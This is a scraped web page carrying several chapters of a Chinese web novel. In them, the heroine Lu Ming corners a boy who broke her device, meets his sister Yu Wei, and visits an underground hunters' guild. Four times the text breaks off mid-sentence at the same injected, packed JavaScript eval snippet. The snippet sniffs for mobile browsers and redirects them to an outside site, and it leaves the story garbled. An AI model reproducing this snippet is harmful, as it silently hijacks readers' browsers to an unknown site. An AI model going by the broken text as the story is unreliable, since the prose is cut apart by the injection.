根据宋何正指的方向,她快速往仓库赶去。 支飞羽和她约了下午四点,没有约定具体的位置。她得赶紧回到仓库,然后根据之前的路径,折回去,拐一个弯,绕过招聘的那条街,回到那家旅馆。200一晚,真的很实惠。检查口附近的旅社,价格最少都要一千多积分。简直是抢钱! 大约一刻钟后,路名迷路了。 道路两边都是低矮的平房,一眼望去,垃圾、地裂、衣衫褴褛的人们到处都是,随地大小躺,房顶上,衣服飘飘,色彩普遍比较暗沉,而仰头,入目所及之处,一座座高楼直插云霄,日光照在玻璃上,闪闪发光。 路名记得旅社附近都是二层左右的灰色楼房。 ——宋何正指错了方向,那家伙竟然也是个路痴!路痴教路痴,两眼泪汪汪! 路名长叹一口气。光脑压根没有导航功能,指望不上,她得尽快找个便宜的旅社将就一晚,给光脑充上电,不然,她今晚就要露宿街头,还放了支飞羽的鸽子。 事情很严重! 路名找个有阴凉的地方蹲着,顶着6%的电量寻找附近最便宜的旅社。 白家旅社,最低一晚2288. 平安旅社,最低一晚1998. 昭平旅社,最低一晚1788. 宋何旅社,最低一晚688. …… 路名时刻关注光脑的电量,当电量只剩2%,而她找到的价格最低的旅社在三公里外,她心一横,下单订房。588积分,没了。 愿意提供588积分的莫夫人旅社在三公里外,根据导航显示,她从这里走过去,需要转六个弯。 路名:……有点心累。 她先背熟订单号,然后确认自己的位置,在1%电量的极限压力下,快速背诵路线:“先向左转,向左,过两个路口,向右转,向右,左右,再向左转,左,三岔口向右转……” 一道黑影闪过,裹着一串刺耳的铃声从面前飞速飘过。 光脑熄屏,方形的屏幕上多出一道长长的裂痕。一枚石子儿从黑影的方向射过来,擦过屏幕,剩余的力道推着它直接插进去。 一万的光脑,坏了。 路名深吸一口气,有点想哭,又很愤怒,情绪濒临爆发之际,她冷静下来——当务之急,是找到罪魁祸首。 赔钱! …… 尤品难得找到机会从学校翻墙翘课出来,正好墙下停了一辆自行车,他又翻进去,去找平时攒在角落里的石头,特地挑一块大的、有棱角的,三两下砸坏了锁,骑着新车出去兜风。 下城区到处都是监控,他直接往无证居民区骑。 这一路上,不管有人没人,他按铃按得可欢快,遇见躺在地上的懒汉,随手丢一个石子儿。 反正那帮人追不上他。 唯一一个例外是在刚刚经过转弯口的时候,他丢石子儿丢顺手,砸到一个妹妹手上的方盒子,他没看清那玩意儿是什么,十有八九不是好东西,坏了修一下没几个钱。 总归人没事,他就没停车,继续快乐地嘚瑟。 没想到,那个妹妹把方盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687532|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子塞包里,挎上包就这么冲过来,两条腿一蹬,追着两个轮儿过来,眼看着就近了。 “别追了别追了,我跑不过你啊啊。”尤品一边喊一边努力蹬车,嘴上更是停不下来,“你不是没事吗?那么大火气干嘛?年纪轻轻的,都是出来逃课的,我们放过彼此一马不行吗!这附近就一所二中,大家都是校友,抬头不见低头见,以后你遇到麻烦,报我的名字,哥帮你把事儿平了,怎么样?别追了!TM我骑不动了姐!” 路名刚喝了半支高级营养液,现在浑身都是力气,追个车还不是轻轻松松。 前面是三岔口,那个“肇事逃逸”的家伙愣了下,车没刹住,拐了个大弯,差点把自己掀翻在地。路名趁机抄近路过去,翻过栅栏,双臂勾住低垂的树枝,纵身一跃,踩到车把手上,连人带车一起踹地上。 尤品逃课这么多次,第一次遇见这破事儿。 二中什么时候多了个这么猛的学妹,飞天女侠吗这,TM的这身手这速度,咋没提前被猎人学院招走呢? 他在心里骂骂咧咧,人躺在地上,不起了。 反正他打不过,现在又受了伤,浑身都疼,兜风是没戏了,他姐现在估计已经接到消息,很快就来抓他去上课,说不定没几分钟就到了。 正好他受了真伤,混几天假条。 尤品美滋滋地躺在地上,时不时“哎哟”两声。过了好一会儿,没人搭理他,他感觉有点怪异,掀开眼皮子,正对一双眼睛。 尤品:……什么玩意儿,是人是鬼啊! 路名把人踹地上就管了,围着自行车转了好几圈。看过车胎、车把手、整体框架、包括车铃铛,都和自己以前见过的制式差不多,颜色是标准的黑白色,没什么特别之处。 这个世界和她的世界到底有什么联系?相似的自行车是个巧合吗? 路名独自一人蹲在地上惆怅了会儿,慢慢吞吞站起来,挪到那个倒地不起、哼哼唧唧唱戏的小子身边。这家伙明显就想趁机碰瓷。 呵,谁给他的胆子,去碰一个见钱眼红的穷鬼的瓷! 见他醒了,路名也不客气,伸手掐住他的胳膊摁住他的腰,将人转过来,双手别到后背,任他又哭又叫又闹也不理,再从车篮里拉出一捆电线,把他的双手双脚绑起来,拎着后衣领让他跪坐在地上。 “说吧,怎么赔?”掏出已经阵亡的光脑,路名拍了拍屏幕,一脸严肃道。 尤品瞪大眼睛,盯着那个方盒子看了又看,慢悠悠问:“……这是什么?”游戏机?不像。摄像机?也不像。总不能是扩音器吧?这货是老师?最近正好是毕业季,养殖学院那帮人来找工作了! 尤品深吸一口气,心里天雷滚滚。 如果这货真是老师,那他不仅今天会被老姐修理得很惨,未来一年的高中生涯绝对会一直非常惨。 “你是老师吗?” “关你屁事,赔钱!”路名眉头一皱,两眼一瞪,直接把罪魁祸首吓得畏畏缩缩低下头。 在尤品看来,这个头不高气势不小的女生,不,要毕业的人那都二十好几了,应该是女人。这个女人和无证居民区那些人完全不一样,这气场,不就是老师才有的吗?尤品仿佛听到老姐机车的轰鸣声正朝自己奔过来,熟悉的鸡毛掸子下一刻就要招呼到自己身上。 逃课和怕老姐,在尤品身上,是两件事。 20. 尤维 路名并不知道无证居民区在下城区的人眼里和荒野没什么区别,下城区随处可见的自行车在这里都是个稀罕物件儿,资源贫瘠到令人胆寒。 尤品喜欢骑车来这里兜风,也有几分炫耀的意味。他没钱买车,不妨碍他骑车装逼。 可惜,遇到了路名。 路名现在满心满眼都是“赔钱”,偏偏这货唯唯诺诺的样子,像极了赖账的老赖。 老赖也有低级高级之分,低级的老赖就是个闷葫芦,滚刀肉,而高级的老赖则是依靠一张巧嘴,一套歪理,让他欠你变成你欠他。 这货分明是个低级的废物,能赔钱吗?能赔多少?不会真要路名自己找地方修吧?她这人生地不熟还等着办户口呢……越想越气,路名抬手抽了这货两巴掌。明明手上没用多少力,这货跟要哭了似的,看着更让人生气。 尤品细皮嫩肉的,也就学校日常运动让他晒得黑了点,皮肤压根不经打,脸上立即多了两道红痕。他有点想他姐了。 路名:…… 这怎么和张俞镇他们不一样呢?手感软软的,多大了还有婴儿肥,吃这么好不感觉罪恶吗! “叫什么?说快点。” “尤品。”尤品嘴一撇,小声切了声。 有品?啊? 机车的轰鸣声骤然从远处响起,越来越近,路名转过头,看到一抹艳丽的红色,在灰白的平房中快速穿梭,引来不少闲散懒汉的侧目。这一抹亮色,像刺进黑白电影的利刃,带来新的生机。 路名羡慕极了。 注意到有品哥由悲转喜的神色,她心里的那点羡慕立即一扫而空。啧,八成是来找她的。 “那是你谁?”话音刚落,那辆机车踩足了油门,在一声让人心脏加快的轰鸣声中,以极快的速度冲过来,又收紧了刹车,横停在前,车轮扬起一道厚厚的尘土,“叱吱~”如同寺庙里的晨钟暮鼓,富有穿透力的声音悠悠荡开。 “哟,是你啊,又见面了。”年轻的女生从机车头盔里传来。 路名下意识看有品哥,这货却一脸懵逼,活像第一次见到对方似的。路名深感遗憾。这么有钱的姐姐,这么主动的姐姐,这货竟然还一副不太熟的样子,太没有前途了,也不看看你长什么样。知足吧你! 女生摘下头套,露出一张英气十足的脸。 尤品懵了。 他姐第一眼看的竟然不是他,这合理吗?他可是砸了学校卫生间的玻璃逃出来的! 路名也懵了。 这张脸她可太眼熟了,当初在车里摸了个包给她的不就是这位吗,包还在她肩上呢,“你怎么在这,尤维……尤品?你们,是亲戚?” 这下,她算是知道有品哥的名字怎么写了。 尤品,谁取的好名字。 “一半一半吧,有点血缘,不熟。”尤维瞥了一眼跪在地上已经跪不住的尤品,啧啧两声,“好惨。” “姐。” 尤品刚一开口就被尤维抬手打断。 “别别别,丢人的事儿别拉上我,我俩是亲的,但不熟。我受他老师的委托,抓他回去上课,顺便扣点他的生活费,把学校的玻璃修一修。”尤维就差把“嫌弃”两个字写脸上。 路名一听,震惊了,愤怒了。 “你还差别人钱?”她按住尤品的头,晃悠着打圈,心里直冒火。她的光脑修理费还没下落呢,这货的钱包先瘪了一遭。 尤维武力值高,脑子也好用,一看就明白这个让人糟心的弟弟又惹麻烦事儿了。她在心里把尤品骂了八百遍,来之前想好了用衣架抽他教训一顿,现在她改主意了,还是用鸡毛掸子更长记性。 “你又干什么坏事了!”她伸手拍了拍尤品的脸,狞笑着问。 尤品泪眼汪汪地看着两个人,先对“新老师”说:“我打碎了学校卫生间的玻璃,逃课翻墙出来的。” 路名:……种子选手啊,真有种! 尤品又对他姐一脸无辜地说:“我打坏了她的扩音器,她让我赔钱,我赔不起。” “啪”,尤品的头从后面挨了一下,整个人跪不住,直接扑倒地上,尤维往后一退,半点儿伸手帮忙的意思都没有,任由亲弟弟扑了个狗吃屎。 路名尴尬地搓了搓手,“不好意思啊,没忍住。” “没事,他从小皮厚,耐打。”尤维踢了踢弟弟的小腿,示意他翻个面儿,偏偏这货装死,不动。 路名在心里呵呵了,要不是打了两巴掌,光看这姐弟俩的相处模式,她说不定还真会相信尤品“皮厚”“耐打”。 既然感情这么好,路名觉得,弟债姐偿也不是不可以。 她抬起笑脸继续说道:“那个不是扩音器,是光脑,版本比较旧。我急着去办事儿,他扔过来一个石子儿,把光脑打坏了。” 路名从包里掏出光脑。 尤品蛄蛹着,给自己翻个面儿,正好看到他姐从他身上跨过去,走到他身后,抬脚用力踢了他一下,又给他踢回去,后脑勺朝上。他疼的抽气,吸了一鼻子灰尘。 他姐倒是泰然自若地和“新老师”聊起来。 “这是很久之前的光脑吧,从废物回收站淘来的吗?”尤维把方盒子翻了个面儿,三两下拆开后面的装置,露出几根不同颜色的线。 “你会修?”路名有点意外。 她以为尤维只是战斗力强悍,没想到还是个隐藏的技术人员,拆解的速度很快,动作很熟练。有戏。要是能快速修好,她不打算逮着这事儿讹一笔。 钱买不来时间,她约了支飞羽,等着弄居住证。 尤维找到装置上刻的小字,认出标号,叹口气:“修不了,估计你去找人也修不好,这里面的配置都已经被淘汰几十年了,生产的工厂估计都能在原址上换一批。” “历史这么悠久啊。”路名跟着叹口气。 一万淘来的光脑,和那些动辄几十上百万的光脑相比,确实有种粗制滥造的廉价感。修不了,不强求。路名只想搞个联络器,尽快办好户口的事。 “你知道附近哪儿还有淘这东西的地方吗?” “你还要?”尤维实在不理解,这姑娘又不是不会算数。距离她回到一号基地才多少天,按照时间算一算,这东西怎么都没有现在制造的光脑耐用,性价比简直惨不忍睹,完全靠赌。就这还要? 路名点头,一脸坦然地解释:“我需要一个和别人联络的东西,而且,我得有个东西给我付住房费。” 以前二维码盛行的时候,老人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692977|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门就因为学不会智能手机变得不方便,后来国家出手强制干预后情况得到好转,路名当时没什么感受,现在回想起来,说这话时有种落寞的感觉。 这个时代没有国家那种强大而集中的力量,所谓的一号基地,只是属于某些人的安居地罢了。 猎人、研究员这些掌握技术的人依旧站在时代的前端,但普通人很难有出头的机会。有些人是因为学习能力跟不上时代的步伐,被社会淘汰,而有些人是因为挣钱的能力赶不上通货膨胀的速度,被穷困住了。路名就是个活生生的例子。 “你急着办什么事?我送你去吧。光脑的话,我得问问其他人,好多学长不在基地内,联系不上,可能要等几天。”尤维挠挠头,提出一个折中的办法。 这会儿是真不凑巧,要是再早几个小时,她多问几个人就能带路名去买新的光脑。 这事儿闹的,原本挺简单的,应声复杂了很多。 “姐,我的亲姐姐,你弟弟我怎么办啊?你车后座只能带一个人,你先送我回学校呗。”尤品蛄蛹着蹭过来,扬起一张满是灰尘的脸,眼睛亮晶晶的,满是期待。 尤维笑着送了他一个字——滚。 “我预约了莫夫人旅社的房间,打算给光脑充电,下午四点之前,支飞羽会联系我,我们约了一起去办居住证。”路名把接下来的事项简单说了下。 有人愿意帮忙,不用白不用。 订单号她还记得,但去莫夫人旅社的路早就忘得一干二净。她看了看附近,来之前没走过这儿,压根不认路。 “你约了队长,去办居住证?”尤维抬起手,竖起大拇指,真心实意地赞一句:“牛逼。” “我当时带来的赤晶可以换一笔积分,前几天出去工作,我又挣了些,那个工作人员说攒够二十万积分就可以办居住证。”和四万的外卖、几十万的光脑相比,二十万的居住证其实很便宜。路名不理解尤维说的“牛逼”牛在哪儿。 尤维拿出另一个机车头盔,抛给路名。 “姐,我呢,我呢?”尤品急呼呼地喊着,两条腿抖着撅着,蹭着泥土往前挪。他不想被丢在这,孤零零一个人。他还是个孩子,还是个学生啊。 “哦,对,还有你。”尤维似乎才想起来还有个弟弟,放下手里的头盔,在尤品充满希冀的眼神中走到他身后,一把举起自行车,把两个车轮放在尤品两边,“怎么样,姐姐是不是很贴心?这样就不会有人敢撞你了。” 如果愤怒能使人实力大增,路名觉得她和尤维现在估计会被尤品爆头。 “就放在这?”路名有点不忍心。 万一自行车被偷了怎么办,这东西怪稀罕的,少见,说不定有人会趁机发一笔横财。就算有,路名希望那个人能是自己。 “没事,自行车在这里也算个身份的象征吧,嗯,勉强算,不会有人惹他的。” 尤维戴好头盔,发动机车,手一招,“走吧,我带你去找队长。正好我知道他在哪儿,省的你联系他了,等你们办完事儿,我送你回旅社。” 路名默默把订单号又背了一遍,确认无误,默念着戴上头盔,和尤品摆摆手,坐到机车上。 两辈子加起来,这还是她第一次做机车,有点小激动。 21. 看门 尤维的车速很快。 无证居民区的道路很窄,大多数地方都不平整,路名在后座被颠得想吐,她捂着嘴,盯着尤维光脑上迅速向前蹿的箭头。 十几分钟后,亮丽显眼的机车停在一栋大楼前。 这栋大楼整体成银灰色,大门紧闭,别提有没有人值守,一眼看过去,连门都找不到,活像四块完美封闭的玻璃连在一起。站在楼下向上看,好像在仰望一把锋利的剑。路名摘下头套,目光瞥到一边。大楼紧连着一处闸门,守卫人员在半开的门前来回走动。 “从下城区过来,都得经过这种门。”尤维摘下头套,利落地下车,转过身解释一句。 下城区和无证居民区的门? 路名心里了然:“尤品也是从这里骑车过来的?” “他肯定不是。”尤维一边输入指令,一边和路名闲聊。说起尤品这个没什么品德,一天到晚闯祸让她不得安生的弟弟,她心里生气,面对路名,又有点心虚。 “二中附近也有一道门,不过那个是有居住证就能随意进出,这边是红月工会的外设点,特别开了一个出入口,平时管理比较严格,他过不来。”话说到一半,门开了,尤维领着路名往里走,后半截话回荡在大楼里,留下阵阵回音。 一楼大厅空无一人,只有两双鞋的“哒哒”声。 路名跟着尤维进入电梯,下行,视线陷入一片黑暗。少数灯带的光从眼前一闪而过,有些刺眼。 空气逐渐稀薄,电梯下行到地底不知多深的位置。一股森然的冷气骤然从地下扑上来,或者说,是电梯带着她们扑进这股充满杀意的冷意中。 “这里是红月工会的外设点,我也能来?”路名试探着问道。 尤维双手背在身后,偶尔经过的灯带照亮她优越的颧骨和修长的身材,她闭着眼睛,微微仰头,身体似乎在有节律的小幅度摆动。 听到声音,她微微睁开眼睛,轻声道:“嘘~” 【地下十一层,到了】 清越的女声在寂静的电梯中响起。 尤维理了理领口,正了正衣角,神情严肃,先一步踏出电梯。 路名心里紧张起来。电梯外就是红月工会的分设点,肯定会有很多猎人在这儿,张俞镇都只是见习猎人,那这里的人得多厉害? 电梯外是一处繁华的大厅,人来人往,熙熙攘攘。 “出来吧,我带你去人事部找队长。”尤维嘴角带着几分笑意,耐心等待路名睁大眼睛,望着这里的一切,慢慢从电梯里走出来。 “这里是红月工会的外设点?这些人是猎人?”路名一脸不可思议。 在余震的描述里,召集猎人力量的工会是个庞然大物,能和集团对着干,就像外面那个凌然俯瞰两个城区的建筑一样,充满威严,谁能想到里面会是这幅情景。这些走来走去、大声吆喝的人大多面容平和,连张俞镇那种见习猎人都比他们有气势。 这能是猎人? “猎人是少数人中的少数人,哪有这么多,而且现在很多人都在外面出任务。这里都是些普通人,毕业后应聘过来,负责处理一些简单的工作。”尤维随手一指,解释道:“往这边走,是食品安全部门的,它隔壁就是医疗部门,啧啧啧,今天依旧很多人啊,算了,有空你再来看看这儿的门。医疗部的门最大,换的最勤快,可惜,每次换完没多久就被你一脚我一脚踹坏了。那边是文娱部分,队长动不动就被抓过去……” 她边说边演示,步伐轻快而敏捷,轻松躲开涌过来的人群。 路名立马将这些人和陆张对标,心中充满羡慕。都是出身好啊,在这么安全的地方,这么舒心的环境里工作,换她她也乐意。 人流里,一个身量高挑、满脸阴郁的男子领着一帮人走过来,脚步很快,径直撞过来。 “哎……”她刚开口,只见尤维反手摁住男子的后颈,侧身躲开偷袭的拳头,“鲁胖子,我抓到你逃课,哼,跟我回去。” “你不也逃了!”一道公鸭嗓从尤维身后叫起来,他压低底盘,横推一扫,没扫到,语气里多了几分气急败坏:“尤维,有本事别躲,刚刚那一下不是挺好的吗?你上次拿了体术冠军,怎么,一年不见,疏于锻炼啊。” 不到一分钟,两人你来我往数个回合,越来越多人围过来,举着光脑拍视频,发出“哇~哇哇~”的赞叹声,渐渐盖住两人争吵的声音。 路名站在一旁,慢慢被推出第一排。 左右两边都是一张张满脸兴奋的脸,她被挤在中间,呼吸有些困难。不知道为什么,在这个陌生的时空,她突然想到一个熟悉的词:吃瓜群众。 路名从人群中撤出来,深一口充足的空气,慢悠悠往回走。 这条路是直的,不用担心迷路。她想这会儿人都挤在这,折回去看看医疗部的门。得是什么脚力,把门踹坏了一个又一个,换得那么勤快? 文娱部的门是褐色实木,食品安全部的门是塑料材质,中间还列了一道缝,里面是空心的。 医疗部的位置很好认,哪怕在这会儿,人最多的还是它。 路名从侧面悄悄往里挪,看到金属的门框,大约有成年人两掌宽,再往旁边走走,又看到门框的厚度,差不多有十厘米。好宽、好厚、好结实的门。 越往里走,门框能看到的面积就越多,视线往下,四只手指印突兀的凹进门框里,将附近的金属挤出小山丘的饱满形状。 路名:? 这是怎么做到的? “哎。”一只手搭在路名的肩膀上,听声音和语气,说话的这人还挺和善,不过肩膀上的力道是实实在在的,让她连往前走的念想都没有,只想乖乖退出去。 “你插队了。” 路名不知道为何,像是被人盯上了一般,短时间内已经满头大汗,她匆匆往后退。走到一半,前方正好出现骚动,一片人嚷嚷着往后退。 人挤人,人踩人,谁都不想多退一步,给别人一点便利。 路名看着面前空出的一小片空间,暗自松了口气。还好没踩到她,如果这里人人都和刚才那个人一样,那她今天绝对骨折,不对,是重伤! 尤维不是说这里大多数都是普通人吗?还有这么厉害的人物? 一晃神,路名感觉前方多出个玩意儿。她定睛一看,是张脸,紧接着是肩膀,胳膊。是支飞羽!这人面无表情地扫视一圈,目光经过路名的时候,明显停顿了一下,然后双臂用力,直接跳起来踩在别人的肩膀上,三两下跳出包围圈。动作干净利落,非常潇洒。 路名真想一键报警。 “哎,你们认识?”她刚迈出一只脚,肩膀又被人按住。 熟悉的声音,熟悉的力道,熟悉的语气。 那个原本还算宽裕的空间很快被人填上,路名就着这个怪异的姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696247|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势卡在人山人海里,动弹不得。 路名:……好气。 她扬起头,带着一点不善意的眼神和不算客气的语气,一字一句地说:“麻烦让一下,我要出去。” 徐雨恍若未闻,继续问:“你认识支飞羽?” 就在这时,路名看到一双手正伸过来,是支飞羽。 ——他想把路名拽出去。 路名下意识皱眉,她不喜欢别人过分干涉她的事,哪怕是出于好意,也得先问问她接不接受。简单来说,她这个人,是个吃软不吃硬的犟种。 支飞羽似乎懂她的意思,半道上把手缩回去,拉上帽子,站在对面看着她。 路名握住这个男人的手腕,试着往外拔,手腕纹丝不动,男人脸上浮现出一抹笑意。她冷然道:“不认识,请松手。” “可是他刚刚还想把你拉出去哎,你们真不认识吗?”又是那种软绵绵的语气。 路名听着心里冒火。 那一刹那,时间似乎停止流转,一切视觉画面在眼中成为定格,她感受到自己的内心似乎受到一股召唤,“咚”被什么东西敲开了,流出一股澎湃的力量。 徐雨敏锐地察觉到医疗部内部的变化。有一支药剂被用掉了。 他提前得知有两支特殊药剂被送到这里。因为效果和副作用齐平,上城区红月工会的鉴定师认定这类药品过于危险,不合格,送到无证居民区的外设点。表面是退送,实则放出消息,心仪者自取。这一点,在他看到支飞羽的时候更加确认了。 令他意外的是,支飞羽没有服用那支药剂。 他从早到晚守在这里,就是为了亲眼验证药剂的效果,然后用一点手段,占据第二支的名额。如果副作用太严重,他自然会放弃。原本,支飞羽是最完美的观察目标。 徐雨不爽地“啧”一声。就在这时,他的手腕突然被握住,一股强大的力量以迅雷不及掩耳之势将他扔起来,隔着人群抡在地上。 路名一落地,顺势蹲下来,用一种大家都能听到的音量,慢慢说:“不好意思,我要出去。” 徐雨:…… 他刚刚卸力了?没错,一定是他刚刚太松懈,反应力没跟上。不然,他怎么会被一个完全没有力量根基的普通小姑娘甩出去? 徐雨拍了拍身上的灰,坐起来,看着那个小姑娘跟在支飞羽后面,一前一后,走了。 他们俩果然认识。 不过,能把他抡起来,这小姑娘力气也不小,又认识支飞羽,怎么没听说过? 他点开光脑,找到通讯栏里的【噜噜噜】,点开视频,边等边清理袖口沾上的灰尘,:“胖子,帮我找个……” 一抬头,看到视频对面的一幕,徐雨愣住了。 鲁圆周一脸鼻青脸肿地被人按在地上,双手别在身后,看样子,连光脑都人缴了。 “老大,你快来啊。” 话没说完,光脑上移,徐雨看到一张熟悉的脸,嘴角上扬,一开口,语气和这张脸一样棱角分明,充满攻击性,“哎哟,老徐啊,你们队的胖子被人打了,太可怜了,看看看看,本来就没二两肉,这下更得好好吃一顿补补营养。一起吃个饭啊,怎么样?” 敲诈! 这是赤裸裸的、无节操的敲诈! 徐雨深刻地怀疑,他的小队和支飞羽的小队八字不合,不然为什么每次见面不是互殴就是互呛! 22. 巡逻站(1) 路名跟着支飞羽往前走,这里很大,人很多,他们混在人群里,有人和他们擦肩而过,有人和他们同向而行。 再往前是个三岔口,路名看了看两边,没找到显眼的标志。 支飞羽突然转过来,拐角交错的光影落在他脸上,路名清晰地看到他脸上有一条一指长的伤口,很浅,“刚刚那一下,进入猎人学院之前,你最好不要在别人面前显露出来。” 路名没有立即接话。 其实,连她自己都不知道刚刚是怎么回事,那一瞬间的悸动和爆发,来的快,去的也快。 这件事很快被她抛到脑后。用不用、什么时候用不是她能决定的。她在太平时代生活得太久,比这里的原住民更清楚这里的生存环境极其恶劣,和同类争,和自然斗。她要藏拙,前提是能活下来。 “我能上学?”她微微抬起头,语气中带着一点期待。 “办理居住证后,你可以出入中下两个城区。完成猎人工会发布的一定量的任务,攒到足够的积分,你可以入学。”支飞羽简单说了说上学的途径。 他在慢慢适应这个女生抓不住重点的脑回路。 被人以各种各样的理由“拣回”一号基地的人,比一号基地原本的人口都多,但能办理居住证的,只是其中很少的一部分。路名很厉害,这是他第二次见面的感觉。从身形上看,或许只有长高了点,那双眼睛依旧亮晶晶的,但他敏锐地察觉到,似乎有东西改变了。 “猎人工会发布的任务?需要离开一号基地吗?”那不是跟送死没什么区别吗? 路名垮下脸,皱着眉头,满脸犹豫。 经过宋何正的护卫队,她意识到普通人和见习猎人的差距不是简单的冷兵器和热武器可以概述的。如果猎人工会发布的任务是需要离开一号基地,那她还是老老实实在一号基地搞点小生意。担惊受怕过一辈子也好过逞一时之勇,死得快。 “跟我来。”支飞羽丢下一句,脚步一拐,推开墙角一道弧形的门。 这里竟然是另一个大厅。 整个红月工会外设点就像一个蜂巢一样扎根在无证居民区地下,推开一扇门,里面是房间,还是大厅,无人知晓。 浓烈的血腥味儿扑鼻而来。 这儿人和刚才那些完全不一样。那些人喧哗但衣着整洁,是路名理想中的样子,而这些人则一身血污,沉默、快速的穿行其间,手上还拎着些许猎物。 支飞羽停下来,和迎面走来一个的高个女人点头打招呼。 这个女人眉目深邃,鼻梁高耸,行走时呼呼带风,伤口皮肉外翻,丝毫没有影响到她的速度。她的脸藏在盔甲下面,露出一缕酒红色的、打结的头发,背着一个鼓囊囊的布包,像路名曾见过的一副古画上的斗士和她师兄随手画的抽象骑驴旅人的结合版,充满斗志,又很邋遢。 “支飞羽,这个小姑娘是谁?你的新队友?”木戈尔停下来,好奇的看向路名。 支飞羽往旁边挪一步,将路名完完全全露出来。 “带她来办点事。你怎么在这儿,这次的行动没有召集你的队伍过去吗?”支飞羽平淡地问道。他的目光挠过布包,快速移开。 木戈尔长叹一口气,脸上却没有多少失意的神色,仿佛在说一件微不足道的伤心事:“我和我的小队刚回来,没赶上这次行动。就算赶上了,八成也去不了,我哥果利栗死了,队伍出现缺口,在找到新的成员之前,我们暂时不会离开一号基地。” 路名震惊了。 亲哥吗?就算不是亲的,死了个重要的队友这么淡定吗? 一晃神,这位面貌英气的女子屈膝蹲下,像一座山一样横在路名面前,和她平视,问的却还是支飞羽:“这个小姑娘实力怎么样?你的队伍人够了,如果实力不错的话,不如让给我?你放心,我不会让你吃亏的,这次大赛有好几个……” “大赛的事,不劳费心。愿不愿意跟你走,你自己问她。”支飞羽神情冷淡地打断木戈尔,把谈话空间让出来。 在成为见习猎人之前,那些出身不好、空有天赋的人要走很长的一段路,而当他们站在猎人学院的训练场上,曾经的事迹几乎都被死人带进坟墓,鲜为人知。木戈尔就是其中一个,假期后入学。 如果她真心愿意带路名,填补队伍的空缺,对双方来说,都是件好事。 “走哪儿?我们不是来办居住证的吗?”路名皱紧眉头。一想到自己差点儿被当成交易物交易了,她顿时出了一身冷汗。 “居住证?她是外面来的?”木戈尔面露嫌弃,扭头换上指责的神情,“支飞羽,我是要找队友,不是培养队友。就算这小姑娘有本事混到入学,那时候我都毕业了。猎人和见习猎人组队?这是你亲戚吧?要塞塞你队伍去!”说完,她拍拍手起身离开。 布包从眼前划过的瞬间,包里的东西抖了抖,凹出一个对称的弧形。这个怪异的形状很快消失。紧接着,缝隙里露出一缕头发,酒红色,和血液粘在一起,几根发尾像新生的草芽,在风中轻轻颤动。 路名愣住了。 “那里面……”她说不出来。是她猜错了吗? “红兽通过吞噬人类补充营养,营养充足而口粮富足的时候,它就会挑拣人体细胞活跃的部位,从活体介入,作为繁殖的场所。”支飞羽想了想,又补充一句,“未出生的红兽卵,很值钱。” 路名看着大厅里形形色色的、满脸疲惫的人们,心中的恐惧如同涨潮一样,快速攀升。 潮涨潮落,生生不息。 “她是你的同学吧?她做的任务,我也要做吗?” “你可以选择不挣这笔钱。”支飞羽拍了拍路名的肩膀,“走吧,我带你去看看最近有哪些任务可以做。只要完成任务,就可以入学插班,如果跟不上期末考核,有一次留级重考的机会。” 能问出这话,这姑娘心里差不多明白这是怎么回事。选不选,怎么选,是她的事。 支飞羽走在前面,点开光脑,开始导航。 这个大厅连接几大工会的外设点,周边的商铺能满足所有人的需要。同类型的店铺数量多,竞争激烈,关系错综复杂。大厅面积更是广阔,从下城区的边界到城门的检查处,几乎涵盖整个地下区域。支飞羽本就没来过几次,之前次次迷路,这会儿果断打开导航,不想兜圈子。 “红月工会离我们很远吗?”一看支飞羽打开光脑,时不时低头瞥一眼,她就猜到是开了地图导航。 这人不是红月工会的吗?回自家工会都能迷路? “不远,但你不一定要加入红月工会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703912|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看看其他工会的任务栏,说不定会有合适的。”支飞羽想了想,把话说长些。他平时话很少。大多数事情都被身边人解决,他说了也是废话,还会得到一顿无脑夸,无聊。和路名走在一起,不论说多少,都是顺理成章,他完全没有负担。反正路名很多事情都不知道,光脑也用不利索。 “你为什么加入红月工会?”路名问道。 